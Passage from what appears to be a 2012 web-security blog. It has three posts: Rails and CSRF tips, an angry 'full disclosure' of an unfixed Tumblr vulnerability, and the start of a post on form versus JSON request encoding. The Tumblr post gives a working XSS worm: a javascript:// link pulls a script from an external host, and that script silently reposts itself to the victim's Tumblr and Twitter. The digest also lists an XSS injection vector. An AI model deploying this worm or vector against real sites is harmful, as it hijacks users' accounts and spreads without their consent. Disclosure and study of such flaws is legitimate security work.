Friday, June 22, 2012

With New Features Come New Vulnerabilites. The Web is Broken.

I spam in twitter and RSS.
HN discussi0n

Security Digest:
  • Rails coders, I remind you the very last time :) Run command Find ".to_json" agains your 'app/views' and please sanitize it, I stumble upon case 2 from my Rails & Security talk really often.
  • Use JSONP only with unique token per user. Don't give out private data via static URL.
  • It goes without saying but.. Seriously, Regexp /^http://www.site.com/ is not enough to mitigate CSRFs (Yeah, also if you are rubyist you should use \A instead of ^! Rails has reminder now https://github.com/rails/rails/pull/6671) Why? Because http://www.site.com.hacker.com and http://www.site.com@hacker.com both are legit domains too. Do add "\/" in the end of your Regexp. Anyway, don't rely on Referer.
  • X-Frame-Options (XFO) Detection from Javascript
  • I found out that 'autofocus onfocus=inject' is a really nice vector and works great. Thanks .mario's html5sec.org, some of cases over there are really worth getting addressed.
  • This is new section, please drop me a line homakov@gmail.com if you have any epic thing about security :3
Current status:
On the left - Me, pointing various problems, starving to get feedback and proposing some fixing in a painless way.
On the right - browsers, ruby, community, whatever's response :)


Look, web security is all about philosophy and concept. Root of plenty of the problems is a poor problem solution/design or irresponsible adding of new features.

When browsers implement a new feature they should also care how it'll work along with existing websites, in terms of security too.

Thursday, June 21, 2012

Tumblr. "Full Disclosure" or Why I Hate Reporting



Security is art for me. Reporting yet another routine vulnerability(e.g. XSS is one) is a routine.


Now the question is: Why reporting a vulnerability is always such a hassle and tedious email ping-pong?  


Should we have another startup: getavuln.com(getsatisfaction analogy) which aggregates vulnerabilities for all websites to make reporting easier? I'm kidding.

Frankly, I want every flaw I find to be fixed - I report it and reported so far to more than 20 pretty popular sites. Only 1 of them(skrill) was nice enough to pay me some bounty and just a few of them said 'thanks'.

I'm pissed off explaining to technical support of Tumblr what is the vulnerability and how to fix it. Getting reply "What is your browser and which OS do you use" - WTF, why do you waste my time? :(

So I am angry with these two things - tumblr spams my twitter w/o my approval and tumblr is not fixing the vulnerability I reported(for free..) a month ago(on 22 May). It's not a full discl. because it also was known since may 19, I warned you, I did.


Create Link with your ANYFUNNYTITLE and LONG FUNNY DESCRIPTION

set URL
javascript://%0A
s=document.createElement('script');s.src='//homakov.github.com/tumblr_inject.js';document.head.appendChild(s);//"
http://ANYFUNNYURL.com

save somewhere your inject.js

//save it as YOUR_INJECT_URL.js
//do anything you want - you are on 'tumblr.com' origin
var inject_js = '';
$$('a').each(function(a){ if(a.href.indexOf('ANYFUNNYURL.com') != -1){ inject_js = a.href} })
new Ajax.Request('/new/link', {parameters:{'post[date]':'now','post[source_url]':'http://','send_to_twitter':'on','is_rich_text[one]':0,'form_key':document.getElementById('form_key').value,'post[one]':'ANYFUNNYTITLE','post[two]':inject_js,'post[three]':'LONG FUNNY DESCRIPTION','post[type]':'link','channel_id':0,'post[state]':0,'is_rich_text[two]':0,'is_rich_text[three]':1}})
setTimeout(function(){
document.location = "//ANYFUNNYURL.com";
},3000)
Post the link and enjoy - everyone will reblog it by clicking and will not notice anything. Also you can add me on tumblr and then press the link in your dashboard to see it in action instantly. 

Get 'reports' first - twitter and RSS.

Wednesday, June 6, 2012

x-www-form-urlencoded VS json - Pros and Cons. And Vulns.

In this short post I want to remind you how agile HTTP requests are. By "requests" we all mean GET and POST - these are the majority. POST contains "message", which is encoded in Internet media type etc - on wiki

By default <form method="post"> tag submits request with this header:
Content-Type:application/x-www-form-urlencoded
This is the default encoding format among HTTP requests. It was suffice just a few years ago - when all people have been sending nothing bigger and more complex than  "email=my@mail.com&name=John".

It's 2012 now, web became much more comprehensive, more rich and data sets are huge now. Developers scope related params in hashes/arrays - in a "tricky" way. If you want to have user["email"] on the server side you are supposed to send
<input name="user[email]">

but if you want user[emailS"] - array of emails, you should send
<input name="user[emails][]">

Application accumulates all params one by one and put them in the corresponding variables. This attitude is full of bugs and incompatibilities. Let me give you a hence.